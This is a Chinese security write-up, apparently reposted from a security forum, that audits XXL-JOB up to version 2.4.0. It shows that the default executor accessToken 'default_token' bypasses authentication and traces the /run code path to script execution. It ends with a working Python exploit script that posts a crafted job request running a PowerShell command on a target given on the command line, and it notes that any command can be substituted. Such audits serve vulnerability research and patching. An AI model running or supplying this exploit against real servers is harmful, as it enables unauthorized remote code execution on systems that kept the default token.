xxl-job默认accessToken身份绕过,包括RCE审计(详)
2023-11-3 17:39:0 Author: xz.aliyun.com(查看原文) 阅读量:12 收藏

XXL-JOB 默认配置下,用于调度通讯的 accessToken 不是随机生成的,而是使用 application.properties 配置文件中的默认值。在实际使用中如果没有修改默认值,攻击者可利用此绕过认证调用 executor,执行任意代码,从而获取服务器权限,其中executor采取的反序列化的造成RCE

<=XXL-JOB v2.4.0

https://github.com/xuxueli/xxl-job/releases/tag/2.4.0
IDEA,Java17,mysql
在其doc文件下有一个sql文件,运行即可

关于如何绕过认证

从XXL-JOB v2.3.1版本开始,在application.properties为 accessToken增加了默认值,但大多数系统没有采取对其修改(估计没技术)

对于xxl-job适应的环境比较多,我采取的是springboot的模块讲解,在XxjobConfig的配置当中,采取多多种的默认值,其中一个就包括的是accessToken

具体构造是如何发现的?其实首当其冲的还是源码当中的test

这一部分对我们介绍了如何进行调度任务的生成,所以我们传递的包的参数就有以下这几个
"jobId"
"executorHandler"
"executorParams"
"executorBlockStrategy"
"executorTimeout"
"logId"
"logDateTime"
"glueType"
"glueSource"
"glueUpdatetime"
"broadcastIndex"
"broadcastTotal"
但主要是还是要去观察一下TriggerParam这个类的类型,具体参数的类型才能决定,在后续的判断中是取这个中的值作为一个执行文件的生成。

对于验证Api和accessToken可以由下面的代码看到是通过
get(XxlJobRemotingUtil.XXL_JOB_ACCESS_TOKEN)来获取的accessToken

其中的XXL_JOB_ACCESS_TOKEN的名称是由这里定义的


这里的参数,第一个是传递一个方法,第二个是数据,第三个就是验证的access_token

在此处判断当前的access_token是否有效,如果没效就返回回去,不进行执行


接下来的部分也就是对应的控制台的几个方法,我们使其命令运行的是run

下面部分也就是rce部分代码(详)

TriggerParam triggerParam = GsonTool.fromJson(requestData, TriggerParam.class);
return executorBiz.run(triggerParam);

这里具体做的是将我们传递过来的body参数给传递过去序列化,成TriggerParam对象
最后有一个executorBiz,我们跟过去看看


其中执行的是run方法,看其有哪些实现该方法的。
具体后续的调用链:
run:158, EmbedServer$EmbedHttpServerHandler$1 (com.xxl.job.core.server)
runWorker:1136, ThreadPoolExecutor (java.util.concurrent)
run:635, ThreadPoolExecutor$Worker (java.util.concurrent)
run:833, Thread (java.lang)


这一步是一个线程的内容,具体就是先获取传递过去的jobId要看容器里面是否有这个id的,如果没有的话就put一个景区,如果有的话就在一个堆栈的算法当中按超时来进行一个推进,

// load old:jobHandler + jobThread
        JobThread jobThread = XxlJobExecutor.loadJobThread(triggerParam.getJobId());
        IJobHandler jobHandler = jobThread!=null?jobThread.getHandler():null;
        String removeOldReason = null;

        // valid:jobHandler + jobThread
        GlueTypeEnum glueTypeEnum = GlueTypeEnum.match(triggerParam.getGlueType());
        if (GlueTypeEnum.BEAN == glueTypeEnum) {

            // new jobhandler
            IJobHandler newJobHandler = XxlJobExecutor.loadJobHandler(triggerParam.getExecutorHandler());

            // valid old jobThread
            if (jobThread!=null && jobHandler != newJobHandler) {
                // change handler, need kill old thread
                removeOldReason = "change jobhandler or glue type, and terminate the old job thread.";

                jobThread = null;
                jobHandler = null;
            }

            // valid handler
            if (jobHandler == null) {
                jobHandler = newJobHandler;
                if (jobHandler == null) {
                    return new ReturnT<String>(ReturnT.FAIL_CODE, "job handler [" + triggerParam.getExecutorHandler() + "] not found.");
                }
            }

        } else if (GlueTypeEnum.GLUE_GROOVY == glueTypeEnum) {

            // valid old jobThread
            if (jobThread != null &&
                    !(jobThread.getHandler() instanceof GlueJobHandler
                        && ((GlueJobHandler) jobThread.getHandler()).getGlueUpdatetime()==triggerParam.getGlueUpdatetime() )) {
                // change handler or gluesource updated, need kill old thread
                removeOldReason = "change job source or glue type, and terminate the old job thread.";

                jobThread = null;
                jobHandler = null;
            }

            // valid handler
            if (jobHandler == null) {
                try {
                    IJobHandler originJobHandler = GlueFactory.getInstance().loadNewInstance(triggerParam.getGlueSource());
                    jobHandler = new GlueJobHandler(originJobHandler, triggerParam.getGlueUpdatetime());
                } catch (Exception e) {
                    logger.error(e.getMessage(), e);
                    return new ReturnT<String>(ReturnT.FAIL_CODE, e.getMessage());
                }
            }
        } else if (glueTypeEnum!=null && glueTypeEnum.isScript()) {

            // valid old jobThread
            if (jobThread != null &&
                    !(jobThread.getHandler() instanceof ScriptJobHandler
                            && ((ScriptJobHandler) jobThread.getHandler()).getGlueUpdatetime()==triggerParam.getGlueUpdatetime() )) {
                // change script or gluesource updated, need kill old thread
                removeOldReason = "change job source or glue type, and terminate the old job thread.";

                jobThread = null;
                jobHandler = null;
            }

            // valid handler
            if (jobHandler == null) {
                jobHandler = new ScriptJobHandler(triggerParam.getJobId(), triggerParam.getGlueUpdatetime(), triggerParam.getGlueSource(), GlueTypeEnum.match(triggerParam.getGlueType()));
            }
        } else {
            return new ReturnT<String>(ReturnT.FAIL_CODE, "glueType[" + triggerParam.getGlueType() + "] is not valid.");
        }

        // executor block strategy
        if (jobThread != null) {
            ExecutorBlockStrategyEnum blockStrategy = ExecutorBlockStrategyEnum.match(triggerParam.getExecutorBlockStrategy(), null);
            if (ExecutorBlockStrategyEnum.DISCARD_LATER == blockStrategy) {
                // discard when running
                if (jobThread.isRunningOrHasQueue()) {
                    return new ReturnT<String>(ReturnT.FAIL_CODE, "block strategy effect:"+ExecutorBlockStrategyEnum.DISCARD_LATER.getTitle());
                }
            } else if (ExecutorBlockStrategyEnum.COVER_EARLY == blockStrategy) {
                // kill running jobThread
                if (jobThread.isRunningOrHasQueue()) {
                    removeOldReason = "block strategy effect:" + ExecutorBlockStrategyEnum.COVER_EARLY.getTitle();

                    jobThread = null;
                }
            } else {
                // just queue trigger
            }
        }

        // replace thread (new or exists invalid)
        if (jobThread == null) {
            jobThread = XxlJobExecutor.registJobThread(triggerParam.getJobId(), jobHandler, removeOldReason);
        }

        // push data to queue
        ReturnT<String> pushResult = jobThread.pushTriggerQueue(triggerParam);
        return pushResult;

具体去看重点执行代码的部分
具体是要进入下面的方法当中

可以详细看见我标注的这个参数是我们之前想要构造的,他已经传递过来了的,并且值没有损失

过了一层又一层后,先是比较了传递参数当中的executorTimeout,然后又一个算法,在里面


就会存在一个log文件,路径跟时间的组合


下面的部分就是对其开始执行了


进入到execute当中,判断你的类型是shell还是powershell还是java还是什么


我现在由powershell来说吧,根据我的类型去创建文件,我的powershell就会去创建一个ps1后缀的文件

String scriptFileName = XxlJobFileAppender.getGlueSrcPath()
                .concat(File.separator)
                .concat(String.valueOf(jobId))
                .concat("_")
                .concat(String.valueOf(glueUpdatetime))
                .concat(glueType.getSuffix());
        File scriptFile = new File(scriptFileName);
        if (!scriptFile.exists()) {
            ScriptUtil.markScriptFile(scriptFileName, gluesource);
        }
String scriptFileName = XxlJobFileAppender.getGlueSrcPath()
                .concat(File.separator)
                .concat(String.valueOf(jobId))
                .concat("_")
                .concat(String.valueOf(glueUpdatetime))
                .concat(glueType.getSuffix());
        File scriptFile = new File(scriptFileName);
        if (!scriptFile.exists()) {
            ScriptUtil.markScriptFile(scriptFileName, gluesource);
        }

先是根据去获得参数,然后文件的路径,文件的id判断是否存在,然后生成。

int exitValue = ScriptUtil.execToFile(cmd, scriptFileName, logFileName, scriptParams);

        if (exitValue == 0) {
            XxlJobHelper.handleSuccess();
            return;
        } else {
            XxlJobHelper.handleFail("script exit value("+exitValue+") is failed");
            return ;
        }

这一段是执行正确还是错误返回的,在客户端那部分可以看到的

int exitValue = ScriptUtil.execToFile(cmd, scriptFileName, logFileName, scriptParams);

这一部分就是去执行你已经生成的文件
这是我测试阶段的:

成功图

import requests
import argparse
def exp(url):
    headers = {'X-Requested-With': 'XMLHttpRequest',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'Accept-Encoding': 'gzip, deflate',
               "Xxl-Job-Access-Token":"default_token"}
    data = '''{
  "jobId": 123,
  "executorHandler": "demoJobHandler",
  "executorParams": "demoJobHandler",
  "executorBlockStrategy": "COVER_EARLY",
  "executorTimeout": 1,
  "logId": 1,
  "logDateTime": 1586629003729,
  "glueType": "GLUE_POWERSHELL",
  "glueSource": "calc",
  "glueUpdatetime":'1586699003758',
  "broadcastIndex": 0,
  "broadcastTotal": 0
}'''

    response = requests.post(url=url+"/run",headers=headers,data=data)
    if response.status_code == 200:
        print("200成功")
    else:
        print("失败\t 尝试代理")

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('ip', nargs='*')
    args = parser.parse_args()
    url = 'http://'+args.ip[0]
    exp(url)

glueSource是可以替换成自己的命令包括ping dns
glueType根据系统


文章来源: https://xz.aliyun.com/t/12968
如有侵权请联系:admin#unsafe.sh